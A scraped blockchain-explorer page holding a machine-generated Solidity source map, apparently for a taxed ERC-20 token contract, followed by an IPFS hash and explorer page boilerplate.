;;16873:30:0;;;16887:15;;16873:30;;16848:55;:71;;;;-1:-1:-1;;;;;;16908:11:0;;;;;;:7;:11;;;;;;;;16907:12;16848:71;16844:353;;;16952:28;16976:3;16952:19;16963:7;;16952:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;16940:40;;17017:12;;17007:6;:22;;16999:71;;;;-1:-1:-1;;;16999:71:0;;11039:2:1;16999:71:0;;;11021:21:1;11078:2;11058:18;;;11051:30;11117:34;11097:18;;;11090:62;-1:-1:-1;;;11168:18:1;;;11161:34;11212:19;;16999:71:0;10837:400:1;16999:71:0;17123:16;;17113:6;17097:13;17107:2;-1:-1:-1;;;;;12886:18:0;12859:7;12886:18;;;:9;:18;;;;;;;12793:119;17097:13;:22;;;;:::i;:::-;:42;;17089:92;;;;-1:-1:-1;;;17089:92:0;;11574:2:1;17089:92:0;;;11556:21:1;11613:2;11593:18;;;11586:30;11652:34;11632:18;;;11625:62;-1:-1:-1;;;11703:18:1;;;11696:35;11748:19;;17089:92:0;11372:401:1;17089:92:0;17309:13;;-1:-1:-1;;;;;17303:19:0;;;17309:13;;17303:19;:44;;;;-1:-1:-1;;;;;;17326:21:0;;17342:4;17326:21;;17303:44;17299:212;;;-1:-1:-1;;;;;17371:13:0;;;;;;:7;:13;;;;;;;;17368:68;;;17405:21;:6;17416:9;17405:10;:21::i;:::-;-1:-1:-1;;;;;17388:13:0;;;;;;:9;:13;;;;;:38;;:13;;;:38;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;15855:2742:0:o;17368:68::-;17466:29;17491:3;17466:20;17477:8;;17466:6;:10;;:20;;;;:::i;:29::-;17454:41;;17299:212;17640:4;17591:28;12886:18;;;:9;:18;;;;;;17666:6;;-1:-1:-1;;;17666:6:0;;;;17665:7;:30;;;;-1:-1:-1;17682:13:0;;-1:-1:-1;;;;;17676:19:0;;;17682:13;;17676:19;17665:30;:45;;;;-1:-1:-1;17699:11:0;;-1:-1:-1;;;17699:11:0;;;;17665:45;:75;;;;;17723:17;;17714:6;:26;17665:75;17661:433;;;17789:17;;17765:20;:41;17761:257;;17831:35;17848:17;;17831:16;:35::i;:::-;17761:257;;;17918:17;;17895:20;:40;17892:126;;;17960:38;17977:20;17960:16;:38::i;:::-;18036:10;;:42;;-1:-1:-1;;;;;18036:10:0;;;;18056:21;18036:42;;;;;:10;:42;:10;:42;18056:21;18036:10;:42;;;;;;;;;;;;;;;;;;;;;17661:433;16338:1767;16300:1805;18192:13;;18188:172;;18267:4;18249:24;;;;:9;:24;;;;;;:39;;18278:9;18249:28;:39::i;:::-;18240:4;18222:24;;;;:9;:24;;;;;;;:66;;;;18308:40;;-1:-1:-1;;;;;18308:40:0;;;;;;;18338:9;1361:25:1;;1349:2;1334:18;;1215:177;18308:40:0;;;;;;;;18188:172;-1:-1:-1;;;;;18438:15:0;;;;;;:9;:15;;;;;;:27;;18458:6;18438:19;:27::i;:::-;-1:-1:-1;;;;;18420:15:0;;;;;;:9;:15;;;;;:45;18492:40;18510:21;:6;18521:9;18510:10;:21::i;:::-;-1:-1:-1;;;;;18492:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;18476:13:0;;;;;;;:9;:13;;;;;:56;;;;18548:41;;;18567:21;:6;18578:9;18567:10;:21::i;:::-;18548:41;;1361:25:1;;;1349:2;1334:18;18548:41:0;;;;;;;15924:2673;15855:2742;;;:::o;4447:190::-;4533:7;4569:12;4561:6;;;;4553:29;;;;-1:-1:-1;;;4553:29:0;;;;;;;;:::i;:::-;-1:-1:-1;4593:9:0;4605:5;4609:1;4605;:5;:::i;:::-;4593:17;4447:190;-1:-1:-1;;;;;4447:190:0:o;4877:246::-;4935:7;4959:1;4964;4959:6;4955:47;;-1:-1:-1;4989:1:0;4982:8;;4955:47;5012:9;5024:5;5028:1;5024;:5;:::i;:::-;5012:17;-1:-1:-1;5057:1:0;5048:5;5052:1;5012:17;5048:5;:::i;:::-;:10;5040:56;;;;-1:-1:-1;;;5040:56:0;;12335:2:1;5040:56:0;;;12317:21:1;12374:2;12354:18;;;12347:30;12413:34;12393:18;;;12386:62;-1:-1:-1;;;12464:18:1;;;12457:31;12505:19;;5040:56:0;12133:397:1;5040:56:0;5114:1;4877:246;-1:-1:-1;;;4877:246:0:o;5329:132::-;5387:7;5414:39;5418:1;5421;5414:39;;;;;;;;;;;;;;;;;:3;:39::i;3972:136::-;4030:7;4057:43;4061:1;4064;4057:43;;;;;;;;;;;;;;;;;:3;:43::i;18735:483::-;11402:6;:13;;-1:-1:-1;;;;11402:13:0;-1:-1:-1;;;11402:13:0;;;18837:16:::1;::::0;;18851:1:::1;18837:16:::0;;;;;::::1;::::0;;-1:-1:-1;;18837:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;18837:16:0::1;18813:40;;18882:4;18864;18869:1;18864:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18864:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;18908:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;18908:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;18864:7;;18908:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18898:4;18903:1;18898:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18898:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;18973:15:::1;::::0;18941:62:::1;::::0;18958:4:::1;::::0;18973:15:::1;18991:11:::0;18941:8:::1;:62::i;:::-;19014:15;::::0;:196:::1;::::0;-1:-1:-1;;;19014:196:0;;-1:-1:-1;;;;;19014:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;19095:11;;19014:15:::1;::::0;19137:4;;19164::::1;::::0;19184:15:::1;::::0;19014:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;11438:6:0;:14;;-1:-1:-1;;;;11438:14:0;;;-1:-1:-1;;;;18735:483:0:o;3536:179::-;3594:7;;3626:5;3630:1;3626;:5;:::i;:::-;3614:17;;3655:1;3650;:6;;3642:46;;;;-1:-1:-1;;;3642:46:0;;13986:2:1;3642:46:0;;;13968:21:1;14025:2;14005:18;;;13998:30;14064:29;14044:18;;;14037:57;14111:18;;3642:46:0;13784:351:1;5749:189:0;5835:7;5870:12;5863:5;5855:28;;;;-1:-1:-1;;;5855:28:0;;;;;;;;:::i;:::-;-1:-1:-1;5894:9:0;5906:5;5910:1;5906;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:248::-;1926:6;1934;1987:2;1975:9;1966:7;1962:23;1958:32;1955:52;;;2003:1;2000;1993:12;1955:52;-1:-1:-1;;2026:23:1;;;2096:2;2081:18;;;2068:32;;-1:-1:-1;1858:248:1:o;2300:247::-;2359:6;2412:2;2400:9;2391:7;2387:23;2383:32;2380:52;;;2428:1;2425;2418:12;2380:52;2467:9;2454:23;2486:31;2511:5;2486:31;:::i;2760:388::-;2828:6;2836;2889:2;2877:9;2868:7;2864:23;2860:32;2857:52;;;2905:1;2902;2895:12;2857:52;2944:9;2931:23;2963:31;2988:5;2963:31;:::i;:::-;3013:5;-1:-1:-1;3070:2:1;3055:18;;3042:32;3083:33;3042:32;3083:33;:::i;:::-;3135:7;3125:17;;;2760:388;;;;;:::o;3153:356::-;3355:2;3337:21;;;3374:18;;;3367:30;3433:34;3428:2;3413:18;;3406:62;3500:2;3485:18;;3153:356::o;3919:127::-;3980:10;3975:3;3971:20;3968:1;3961:31;4011:4;4008:1;4001:15;4035:4;4032:1;4025:15;4051:422;4140:1;4183:5;4140:1;4197:270;4218:7;4208:8;4205:21;4197:270;;;4277:4;4273:1;4269:6;4265:17;4259:4;4256:27;4253:53;;;4286:18;;:::i;:::-;4336:7;4326:8;4322:22;4319:55;;;4356:16;;;;4319:55;4435:22;;;;4395:15;;;;4197:270;;;4201:3;4051:422;;;;;:::o;4478:806::-;4527:5;4557:8;4547:80;;-1:-1:-1;4598:1:1;4612:5;;4547:80;4646:4;4636:76;;-1:-1:-1;4683:1:1;4697:5;;4636:76;4728:4;4746:1;4741:59;;;;4814:1;4809:130;;;;4721:218;;4741:59;4771:1;4762:10;;4785:5;;;4809:130;4846:3;4836:8;4833:17;4830:43;;;4853:18;;:::i;:::-;-1:-1:-1;;4909:1:1;4895:16;;4924:5;;4721:218;;5023:2;5013:8;5010:16;5004:3;4998:4;4995:13;4991:36;4985:2;4975:8;4972:16;4967:2;4961:4;4958:12;4954:35;4951:77;4948:159;;;-1:-1:-1;5060:19:1;;;5092:5;;4948:159;5139:34;5164:8;5158:4;5139:34;:::i;:::-;5209:6;5205:1;5201:6;5197:19;5188:7;5185:32;5182:58;;;5220:18;;:::i;:::-;5258:20;;4478:806;-1:-1:-1;;;4478:806:1:o;5289:140::-;5347:5;5376:47;5417:4;5407:8;5403:19;5397:4;5376:47;:::i;5434:168::-;5507:9;;;5538;;5555:15;;;5549:22;;5535:37;5525:71;;5576:18;;:::i;5607:251::-;5677:6;5730:2;5718:9;5709:7;5705:23;5701:32;5698:52;;;5746:1;5743;5736:12;5698:52;5778:9;5772:16;5797:31;5822:5;5797:31;:::i;6784:306::-;6872:6;6880;6888;6941:2;6929:9;6920:7;6916:23;6912:32;6909:52;;;6957:1;6954;6947:12;6909:52;6986:9;6980:16;6970:26;;7036:2;7025:9;7021:18;7015:25;7005:35;;7080:2;7069:9;7065:18;7059:25;7049:35;;6784:306;;;;;:::o;7374:277::-;7441:6;7494:2;7482:9;7473:7;7469:23;7465:32;7462:52;;;7510:1;7507;7500:12;7462:52;7542:9;7536:16;7595:5;7588:13;7581:21;7574:5;7571:32;7561:60;;7617:1;7614;7607:12;7656:402;7858:2;7840:21;;;7897:2;7877:18;;;7870:30;7936:34;7931:2;7916:18;;7909:62;-1:-1:-1;;;8002:2:1;7987:18;;7980:36;8048:3;8033:19;;7656:402::o;11242:125::-;11307:9;;;11328:10;;;11325:36;;;11341:18;;:::i;11778:128::-;11845:9;;;11866:11;;;11863:37;;;11880:18;;:::i;11911:217::-;11951:1;11977;11967:132;;12021:10;12016:3;12012:20;12009:1;12002:31;12056:4;12053:1;12046:15;12084:4;12081:1;12074:15;11967:132;-1:-1:-1;12113:9:1;;11911:217::o;12667:127::-;12728:10;12723:3;12719:20;12716:1;12709:31;12759:4;12756:1;12749:15;12783:4;12780:1;12773:15;12799:980;13061:4;13109:3;13098:9;13094:19;13140:6;13129:9;13122:25;13166:2;13204:6;13199:2;13188:9;13184:18;13177:34;13247:3;13242:2;13231:9;13227:18;13220:31;13271:6;13306;13300:13;13337:6;13329;13322:22;13375:3;13364:9;13360:19;13353:26;;13414:2;13406:6;13402:15;13388:29;;13435:1;13445:195;13459:6;13456:1;13453:13;13445:195;;;13524:13;;-1:-1:-1;;;;;13520:39:1;13508:52;;13615:15;;;;13580:12;;;;13556:1;13474:9;13445:195;;;-1:-1:-1;;;;;;;13696:32:1;;;;13691:2;13676:18;;13669:60;-1:-1:-1;;;13760:3:1;13745:19;13738:35;13657:3;12799:980;-1:-1:-1;;;12799:980:1:o
Swarm Source
ipfs://1904f86b813b36283da8190526cbab8583c359cad09524504963ab47c385d544
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.